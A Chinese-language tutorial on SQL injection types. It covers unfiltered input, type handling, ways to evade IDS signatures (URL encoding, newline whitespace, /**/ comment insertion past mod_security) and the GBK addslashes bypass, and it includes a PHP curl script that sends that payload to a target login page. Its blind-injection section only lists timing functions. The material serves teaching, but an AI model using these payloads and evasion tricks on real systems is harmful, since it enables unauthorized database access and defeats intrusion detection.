* SQL注入类型

1. 字符串未过滤(Poorly Filtered Strings)

2. 不正确的类型处理(Incorrect Type Handling)

3. 签名(特征)规避(Signature Evasion)

4. 逃避过滤(Filter Bypassing)

5. 盲注(Blind SQL Injection)

*字符串未过滤(Poorly Filtered Strings)

未过滤用户输入,用户输入直接传入SQL语句中,从而导致用户可以操作数据库

可被注入的例子代码

$pass = $_GET['pass'];
$password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';");

如果用户输入

' OR 1 = 1 /*

实际执行

SELECT password FROM users WHERE password = '' OR 1 = 1 /*

就可以绕过密码验证

*不正确的类型处理(Incorrect Type Handling)

未对输入做类型限制,一个不会被注入的例子如下:

<span style="font-size:12px;">(is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1;
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );</span>

处理后可以保证id始终是数字

*签名(特征)规避(Signature Evasion)


有一些入侵检测工具会利用签名来检测SQL注入,有多种方法可以绕过签名检测,如:


不同的编码


方法1 URL encoding(Different Encoding),如


NULL OR 1 = 1/*

转为


NULL+OR+1%3D1%2F%2A

如果IDS系统没有改签名规则,就可以绕过


方法2 空白字符替换(White Space Multiplicity)

空白字符技术(spacing techniques),如tabs, new lines/carriage和一些其他的空白方式。


如检测"OR ",可以利用new line来作为空白字符,在URL中可以利用%0a,例子:


NULL OR 'value'='value'/*

用new line替换后


NULL%0aOR%0a'value'='value'/*

对于server来说,它会是这样的:


NULL
OR
'value'='value'/*

上面的这段语句会绕过IDS的检测,并且在MySQL server中执行


方法3:任意的字符patterns(Arbitrary String Patterns)


MySQL中可以在查询语句中插入/*  */的的注释,这些注释就可以逃避对常用关键字如UNION,OR等的检测,如下面这段语句会被检测到


NULL UNION ALL SELECT user,pass, FROM user_db WHERE user LIKE '%admin%/*

但是同样的IDS对于插入注释的关键字则不会被检测到


NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FROM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'//

上面这个例子可以绕过IPS如

Apache的mod_security的常规检测。IDS是能够检测到/* */字符串,但是有些博客、新闻站点需要用到/* */字符串,如果过滤注释字符串,则会出现问题

*逃避过滤(Filter Bypassing)



addslashes() & magic_quotes_gpc



在SQL系统采用某些特定的字符集时,如GBK,过滤函数addslashes() 和 magic_quotes_gpc 可以被bypass,

在GBK中,16进制 

0xbf27 不是一个有效的多字节字符,但0xbf5c 是有效的,如果字符是通过单字节构造的,那么0xbf5c 是0x5c (\),0xbf27 是0xbf (¿)和0x27 (').


当用addslashes()函数和magic_quotes_gpc 开启的时候,单引号(')会用backslash (\) 来转义。因此,我们可以用0xbf27来bypass转义。通过注入16进制代码,addslashes()会将0xbf27 转义为0xbf5c27,0xbf5c27是多字节字符0xbf5c( ¿)和一个未经转义的字符0x27 (').换句话说,0xbf5c 被认为是一个多字节字符,注意是一个字符,所以转义就失效了。



虽然addslashes()和magic_quotes_gpc 通常被认为是安全的,但是在使用GBK字符集的情况下就失去了作用。下面是一段PHP的例子



<?php
$url     = "http://www.victimsite.com/login.php";
$ref     = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
 
$ch      = curl_init();
 
curl_setopt( $ch, CURLOPT_URL,            $url     );
curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
curl_setopt( $ch, CURLOPT_COOKIE,         $session );
curl_setopt( $ch, CURLOPT_POST,           TRUE     );
curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" .
                                          chr(0xbf) . chr(0x27) .
                                          "OR 1=1/*&submit=1" );
 
$data = curl_exec( $ch );
 
print( $data );
curl_close( $ch );
?>
mysql_real_escape_string()

*盲注(Blind SQL Injection)



有时系统是可以注入的,但是在页面上看不到任何的报错信息和数据库字段,这类注入被称为盲注。盲注分为部分盲注和完全盲注。



部分盲注的意思是,当注入发生时,你可以看到页面的变化,例如注入失败跳转到主页,注入成功则返回一个空白页面



完全盲注则是注入成功和失败,输出没有任何变化。这类注入相对来说会更难验证注入是否成功注入,但是还是可以注入的



MySQL BENCHMARK
MSSQL WAITFOR DELAY
PostgreSQL pg_sleep()